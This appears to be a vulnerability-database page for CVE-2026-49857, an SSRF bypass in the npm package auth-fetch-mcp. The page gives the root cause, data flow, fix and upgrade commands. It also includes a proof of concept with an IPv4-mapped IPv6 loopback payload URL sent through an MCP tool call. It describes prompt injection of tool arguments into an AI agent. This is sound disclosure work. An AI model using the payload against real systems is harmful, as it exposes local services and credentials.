CVE-2026-49857: Auth fetch mcp Auth-fetch-mcp Has SSRF Protection Bypass Vulnerability

HIGH
Advisory Identifier: GHSA-pvrj-8cg3-j5f8
CVSS 7.4
CWE-918
Published
Advisory Summary

CVE-2026-49857 is a HIGH (CVSS 7.4) auth-fetch-mcp has ssrf protection bypass vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Auth fetch mcp libraries in the npm ecosystem. The issue involves auth-fetch-mcp has ssrf protection bypass via ipv4-mapped ipv6 loopback. Remediation is available by upgrading affected packages to version 3.0.2.

CVE-2026-49857 at a Glance

CVE Identifier CVE-2026-49857
GHSA Identifier GHSA-pvrj-8cg3-j5f8
Severity HIGH
CVSS v3.1 Base Score 7.4
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Auth fetch mcp
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-49857

To remediate this vulnerability, upgrade all affected Auth fetch mcp dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

auth-fetch-mcp fixed: 3.0.2
npm install auth-fetch-mcp@3.0.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls auth-fetch-mcp

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-49857, inspect your project dependencies using npm:

npm ls auth-fetch-mcp

Analyze the terminal output to locate any version of Auth fetch mcp in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.0.2), your application is affected.

Note: The npm ls auth-fetch-mcp command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Auth fetch mcp, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## SSRF Protection Bypass via IPv4-mapped IPv6 Loopback ### Summary `auth-fetch-mcp` v3.0.1 implements SSRF protection in `assertSafeUrl()` (`src/security.ts`) to block requests to private and loopback addresses. However, the `isPrivateV6()` function fails to detect IPv4-mapped IPv6 loopback addresses in their hex-normalized form. When an attacker supplies a URL such as `http://[::ffff:127.0.0.1]:PORT/`, the Node.js WHATWG URL parser silently normalizes the host to `[::ffff:7f00:1]`. Because `net.isIPv4('7f00:1')` returns `false`, the private-IP check is bypassed and the URL is passed to the browser or HTTP client, allowing the MCP tool to reach loopback services that are supposed to be blocked. The issue is exploitable under default configuration without any special environment variable and carries a CVSS v3.1 Base Score of **7.4 (High)**. ### Details The vulnerable function is `isPrivateV6()` in `src/security.ts`, called from `assertSafeUrl()` which gates every outbound request made by the `auth_fetch` and `download_media` MCP tools. **Root cause — `src/security.ts:46-50`:** ```ts if (lower.startsWith("::ffff:")) { const v4 = lower.slice(7); // "7f00:1" after Node normalization if (net.isIPv4(v4)) return isPrivateV4(v4); // false → falls through } return false; // loopback escapes the guard ``` The Node.js WHATWG URL class (conforming to the URL Living Standard) hex-normalizes IPv4-mapped IPv6 addresses: | Input hostname | After `new URL(...).hostname` | |---|---| | `::ffff:127.0.0.1` | `::ffff:7f00:1` | | `::ffff:192.168.1.1` | `::ffff:c0a8:101` | After normalization, the suffix after `::ffff:` is no longer a dotted-decimal IPv4 string, so `net.isIPv4()` returns `false`. The guard falls through and `isPrivateV6()` returns `false`, causing `assertSafeUrl()` to treat a loopback address as safe. **Data flow — primary sink (`auth_fetch`):** 1. `src/tools.ts:119` — `auth_fetch` accepts user-controlled `url: z.string()` (source). 2. `src/tools.ts:128-131` — handler calls `navigateTo(ctx, url)`, passing the raw URL. 3. `src/browser.ts:58` — `navigateTo()` calls `assertSafeUrl(url)`. 4. `src/security.ts:74-108` — `assertSafeUrl()` delegates IPv6 host validation to `isPrivateV6()`; hex-normalized loopback bypasses the check. 5. `src/browser.ts:66` — `page.goto(safeUrl.toString())` issues a browser request to the internal address. 6. `src/extractor.ts:33-54` / `src/tools.ts:171-176` — page content is extracted and returned to the MCP caller. **Data flow — secondary sink (`download_media`):** 1. `src/tools.ts:198-210` — `download_media` accepts user-controlled `urls[]`. 2. `src/tools.ts:233-234` — each URL passes through `assertSafeUrl()` then `ctx.request.get(safeUrl.toString())`. 3. `src/tools.ts:253-254` — the response body is written to the local downloads directory and the path is returned. **Dynamic confirmation (Phase 2):** The PoC ran inside a Docker container (`--network=host`). Direct loopback URLs are correctly blocked: ``` [BASELINE-BLOCK] Refusing to fetch 127.0.0.1 (resolves to private/loopback/link-local address 127.0.0.1) [BASELINE-BLOCK] Refusing to fetch [::1] (resolves to private/loopback/link-local address ::1) ``` The IPv4-mapped IPv6 form bypasses the check and reaches the internal service: ``` [VULN] SECURITY_BYPASS: assertSafeUrl() did not throw [VULN] Input URL: http://[::ffff:127.0.0.1]:31337/ [VULN] Normalized URL: http://[::ffff:7f00:1]:31337/ [VULN] Cause: net.isIPv4('7f00:1') = false → isPrivateV6() returns false [SSRF] HTTP response received from internal service [CONFIRMED] SSRF_CONFIRMED: response contains INTERNAL_SECRET_MARKER [CONFIRMED] VULNERABILITY_REPRODUCED=TRUE ``` ### PoC **Prerequisites:** ```bash git clone https://github.com/ymw0407/auth-fetch-mcp.git cd auth-fetch-mcp npm ci npm run build npx playwright install --with-deps chromium ``` **Terminal 1 — start a loopback-only internal service:** ```bash node -e 'require("http").createServer((q,r)=>r.end("<h1>INTERNAL_SECRET_MARKER</h1>")).listen(31337,"127.0.0.1")' ``` **Terminal 2 — start the MCP server (default config, no special env vars):** ```bash npx auth-fetch-mcp@3.0.1 ``` **MCP tool invocation:** ```json { "tool": "auth_fetch", "arguments": { "url": "http://[::ffff:127.0.0.1]:31337/" } } ``` **Expected vs. actual behavior:** | URL | Expected | Actual | |---|---|---| | `http://127.0.0.1:31337/` | BLOCK | BLOCK (correct) | | `http://[::1]:31337/` | BLOCK | BLOCK (correct) | | `http://[::ffff:127.0.0.1]:31337/` | BLOCK | **ALLOW** (vulnerable) | | `http://[::ffff:7f00:1]:31337/` | BLOCK | **ALLOW** (vulnerable) | After the user clicks the "Capture" button, the MCP response contains `INTERNAL_SECRET_MARKER`, confirming that the internal HTTP service was reached through the SSRF protection bypass. ### Remediation Decode the hex-encoded IPv4-mapped suffix before passing it to `isPrivateV4()`: ```diff if (lower.startsWith("::ffff:")) { const v4 = lower.slice(7); if (net.isIPv4(v4)) return isPrivateV4(v4); + const m = /^([0-9a-f]{1,4}):([0-9a-f]{1,4})$/.exec(v4); + if (m) { + const hi = parseInt(m[1], 16); + const lo = parseInt(m[2], 16); + const mapped = `${hi >> 8}.${hi & 255}.${lo >> 8}.${lo & 255}`; + return isPrivateV4(mapped); + } } ``` Additionally, a `BrowserContext` route guard should be added in `src/browser.ts` to re-validate every navigation URL (including redirect targets) through `assertSafeUrl()`. No patched version available. ### Impact This is a **Server-Side Request Forgery (SSRF)** vulnerability. An attacker who can supply or influence the `url` argument of the `auth_fetch` tool (or the `urls[]` array of `download_media`) can direct the MCP server to make HTTP requests to services bound to `127.0.0.1` or any other private IPv4 range, simply by encoding the target address as an IPv4-mapped IPv6 literal. **Who is impacted:** - **End users** running `auth-fetch-mcp` locally: an attacker who can inject tool arguments (e.g., via a prompt-injection payload in a webpage visited by the AI agent) can read the response from any HTTP service on the user's loopback interface — local dev servers, admin panels, credential endpoints, metadata services, or other MCP servers. - **Server-side deployments**: any deployment exposing `auth-fetch-mcp` as a shared MCP server faces the same risk against internal network services reachable from the host. - The `auth_fetch` UI:R capture step is reflected in the CVSS score but does not eliminate the risk in prompt-injection scenarios, which the product's README explicitly identifies as an intended protection boundary. Confidentiality of internal service responses is fully compromised (C:H); integrity and availability of the target service are not directly affected by this issue.

CVE-2026-49857 Affected Auth fetch mcp Versions

1 component(s)
Fixed Versions:
3.0.2
Product / Package Ecosystem Affected Versions Fixed Version
auth-fetch-mcp
npm
< 3.0.2
3.0.2

References

Frequently Asked Questions

What is CVE-2026-49857?
CVE-2026-49857 is a security vulnerability in Auth fetch mcp involving auth-fetch-mcp has SSRF Protection Bypass via IPv4-mapped IPv6 Loopback under CWE-918: Server-Side Request Forgery (SSRF).
Which Auth fetch mcp versions are affected?
Affected versions include releases prior to 3.0.2 across affected packages: auth-fetch-mcp.
What version fixes CVE-2026-49857?
Upgrading to 3.0.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is auth-fetch-mcp affected?
Yes, auth-fetch-mcp is affected in releases prior to 3.0.2. Upgrade your dependency to 3.0.2 or later.
What is the CVSS score of CVE-2026-49857?
CVE-2026-49857 has a CVSS v3.1 base score of 7.4 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2026-49857?
CVE-2026-49857 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check npm dependencies for CVE-2026-49857?
Run the dependency tree command: 'npm ls auth-fetch-mcp'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-pvrj-8cg3-j5f8",
  "modified" : "2026-07-01T18:16:22Z",
  "published" : "2026-07-01T18:16:22Z",
  "aliases" : [ "CVE-2026-49857" ],
  "summary" : "auth-fetch-mcp has SSRF Protection Bypass via IPv4-mapped IPv6 Loopback",
  "details" : "## SSRF Protection Bypass via IPv4-mapped IPv6 Loopback\n\n### Summary\n\n`auth-fetch-mcp` v3.0.1 implements SSRF protection in `assertSafeUrl()` (`src/security.ts`) to block requests to private and loopback addresses. However, the `isPrivateV6()` function fails to detect IPv4-mapped IPv6 loopback addresses in their hex-normalized form. When an attacker supplies a URL such as `http://[::ffff:127.0.0.1]:PORT/`, the Node.js WHATWG URL parser silently normalizes the host to `[::ffff:7f00:1]`. Because `net.isIPv4('7f00:1')` returns `false`, the private-IP check is bypassed and the URL is passed to the browser or HTTP client, allowing the MCP tool to reach loopback services that are supposed to be blocked. The issue is exploitable under default configuration without any special environment variable and carries a CVSS v3.1 Base Score of **7.4 (High)**.\n\n### Details\n\nThe vulnerable function is `isPrivateV6()` in `src/security.ts`, called from `assertSafeUrl()` which gates every outbound request made by the `auth_fetch` and `download_media` MCP tools.\n\n**Root cause — `src/security.ts:46-50`:**\n\n```ts\nif (lower.startsWith(\"::ffff:\")) {\n  const v4 = lower.slice(7);          // \"7f00:1\" after Node normalization\n  if (net.isIPv4(v4)) return isPrivateV4(v4);  // false → falls through\n}\nreturn false;   // loopback escapes the guard\n```\n\nThe Node.js WHATWG URL class (conforming to the URL Living Standard) hex-normalizes IPv4-mapped IPv6 addresses:\n\n| Input hostname | After `new URL(...).hostname` |\n|---|---|\n| `::ffff:127.0.0.1` | `::ffff:7f00:1` |\n| `::ffff:192.168.1.1` | `::ffff:c0a8:101` |\n\nAfter normalization, the suffix after `::ffff:` is no longer a dotted-decimal IPv4 string, so `net.isIPv4()` returns `false`. The guard falls through and `isPrivateV6()` returns `false`, causing `assertSafeUrl()` to treat a loopback address as safe.\n\n**Data flow — primary sink (`auth_fetch`):**\n\n1. `src/tools.ts:119` — `auth_fetch` accepts user-controlled `url: z.string()` (source).\n2. `src/tools.ts:128-131` — handler calls `navigateTo(ctx, url)`, passing the raw URL.\n3. `src/browser.ts:58` — `navigateTo()` calls `assertSafeUrl(url)`.\n4. `src/security.ts:74-108` — `assertSafeUrl()` delegates IPv6 host validation to `isPrivateV6()`; hex-normalized loopback bypasses the check.\n5. `src/browser.ts:66` — `page.goto(safeUrl.toString())` issues a browser request to the internal address.\n6. `src/extractor.ts:33-54` / `src/tools.ts:171-176` — page content is extracted and returned to the MCP caller.\n\n**Data flow — secondary sink (`download_media`):**\n\n1. `src/tools.ts:198-210` — `download_media` accepts user-controlled `urls[]`.\n2. `src/tools.ts:233-234` — each URL passes through `assertSafeUrl()` then `ctx.request.get(safeUrl.toString())`.\n3. `src/tools.ts:253-254` — the response body is written to the local downloads directory and the path is returned.\n\n**Dynamic confirmation (Phase 2):**\n\nThe PoC ran inside a Docker container (`--network=host`). Direct loopback URLs are correctly blocked:\n\n```\n[BASELINE-BLOCK] Refusing to fetch 127.0.0.1 (resolves to private/loopback/link-local address 127.0.0.1)\n[BASELINE-BLOCK] Refusing to fetch [::1] (resolves to private/loopback/link-local address ::1)\n```\n\nThe IPv4-mapped IPv6 form bypasses the check and reaches the internal service:\n\n```\n[VULN] SECURITY_BYPASS: assertSafeUrl() did not throw\n[VULN] Input URL:       http://[::ffff:127.0.0.1]:31337/\n[VULN] Normalized URL:  http://[::ffff:7f00:1]:31337/\n[VULN] Cause: net.isIPv4('7f00:1') = false → isPrivateV6() returns false\n[SSRF] HTTP response received from internal service\n[CONFIRMED] SSRF_CONFIRMED: response contains INTERNAL_SECRET_MARKER\n[CONFIRMED] VULNERABILITY_REPRODUCED=TRUE\n```\n\n### PoC\n\n**Prerequisites:**\n\n```bash\ngit clone https://github.com/ymw0407/auth-fetch-mcp.git\ncd auth-fetch-mcp\nnpm ci\nnpm run build\nnpx playwright install --with-deps chromium\n```\n\n**Terminal 1 — start a loopback-only internal service:**\n\n```bash\nnode -e 'require(\"http\").createServer((q,r)=>r.end(\"<h1>INTERNAL_SECRET_MARKER</h1>\")).listen(31337,\"127.0.0.1\")'\n```\n\n**Terminal 2 — start the MCP server (default config, no special env vars):**\n\n```bash\nnpx auth-fetch-mcp@3.0.1\n```\n\n**MCP tool invocation:**\n\n```json\n{\n  \"tool\": \"auth_fetch\",\n  \"arguments\": {\n    \"url\": \"http://[::ffff:127.0.0.1]:31337/\"\n  }\n}\n```\n\n**Expected vs. actual behavior:**\n\n| URL | Expected | Actual |\n|---|---|---|\n| `http://127.0.0.1:31337/` | BLOCK | BLOCK (correct) |\n| `http://[::1]:31337/` | BLOCK | BLOCK (correct) |\n| `http://[::ffff:127.0.0.1]:31337/` | BLOCK | **ALLOW** (vulnerable) |\n| `http://[::ffff:7f00:1]:31337/` | BLOCK | **ALLOW** (vulnerable) |\n\nAfter the user clicks the \"Capture\" button, the MCP response contains `INTERNAL_SECRET_MARKER`, confirming that the internal HTTP service was reached through the SSRF protection bypass.\n\n### Remediation\n\nDecode the hex-encoded IPv4-mapped suffix before passing it to `isPrivateV4()`:\n\n```diff\n if (lower.startsWith(\"::ffff:\")) {\n   const v4 = lower.slice(7);\n   if (net.isIPv4(v4)) return isPrivateV4(v4);\n+  const m = /^([0-9a-f]{1,4}):([0-9a-f]{1,4})$/.exec(v4);\n+  if (m) {\n+    const hi = parseInt(m[1], 16);\n+    const lo = parseInt(m[2], 16);\n+    const mapped = `${hi >> 8}.${hi & 255}.${lo >> 8}.${lo & 255}`;\n+    return isPrivateV4(mapped);\n+  }\n }\n```\n\nAdditionally, a `BrowserContext` route guard should be added in `src/browser.ts` to re-validate every navigation URL (including redirect targets) through `assertSafeUrl()`.\n\nNo patched version available.\n\n### Impact\n\nThis is a **Server-Side Request Forgery (SSRF)** vulnerability. An attacker who can supply or influence the `url` argument of the `auth_fetch` tool (or the `urls[]` array of `download_media`) can direct the MCP server to make HTTP requests to services bound to `127.0.0.1` or any other private IPv4 range, simply by encoding the target address as an IPv4-mapped IPv6 literal.\n\n**Who is impacted:**\n\n- **End users** running `auth-fetch-mcp` locally: an attacker who can inject tool arguments (e.g., via a prompt-injection payload in a webpage visited by the AI agent) can read the response from any HTTP service on the user's loopback interface — local dev servers, admin panels, credential endpoints, metadata services, or other MCP servers.\n- **Server-side deployments**: any deployment exposing `auth-fetch-mcp` as a shared MCP server faces the same risk against internal network services reachable from the host.\n- The `auth_fetch` UI:R capture step is reflected in the CVSS score but does not eliminate the risk in prompt-injection scenarios, which the product's README explicitly identifies as an intended protection boundary.\n\nConfidentiality of internal service responses is fully compromised (C:H); integrity and availability of the target service are not directly affected by this issue.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "auth-fetch-mcp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.0.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.0.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ymw0407/auth-fetch-mcp/security/advisories/GHSA-pvrj-8cg3-j5f8"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ymw0407/auth-fetch-mcp"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-01T18:16:22Z",
    "nvd_published_at" : null
  }
}